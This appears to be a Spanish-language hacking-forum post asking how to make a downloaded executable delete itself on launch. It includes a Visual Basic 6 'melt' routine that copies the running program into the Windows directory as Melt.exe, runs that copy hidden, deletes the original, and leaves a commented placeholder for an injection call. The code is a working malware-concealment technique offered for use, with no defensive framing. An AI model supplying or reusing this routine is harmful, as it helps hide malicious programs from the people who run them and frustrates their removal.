Bueno amigos veran tengo una duda ya lo habia visto en unos sources xD pero no lo encuentro
mi duda es yo tengo mi .exe (source) pero quiero que al ejecutarlo se borre eso si no en una ubicacion
me refiero aque la gente puede descargarlo en una carpeta o escritorio y quiero eliminar el .exe al ejecutar sin especificar
una ruta exacta gracias
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Function DrinkyMelt(Datos As String) As Boolean
If App.Path = Environ("windir") Then
Kill Datos
'Llegados a este punto ya hemos temrinado el melt y tenemos que llamar a la funcion normal para que siga la ejecucion ejemplo:
' Call Inyectar
Else
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("Windir") & "\Melt.exe"
Call ShellExecute(0, "Open", Environ("Windir") & "\Melt.exe", App.Path & "\" & App.EXEName & ".exe", vbNullString, 0)
End
End If
End Function
Private Sub form_load()
Call DrinkyMelt(Command)
End Sub
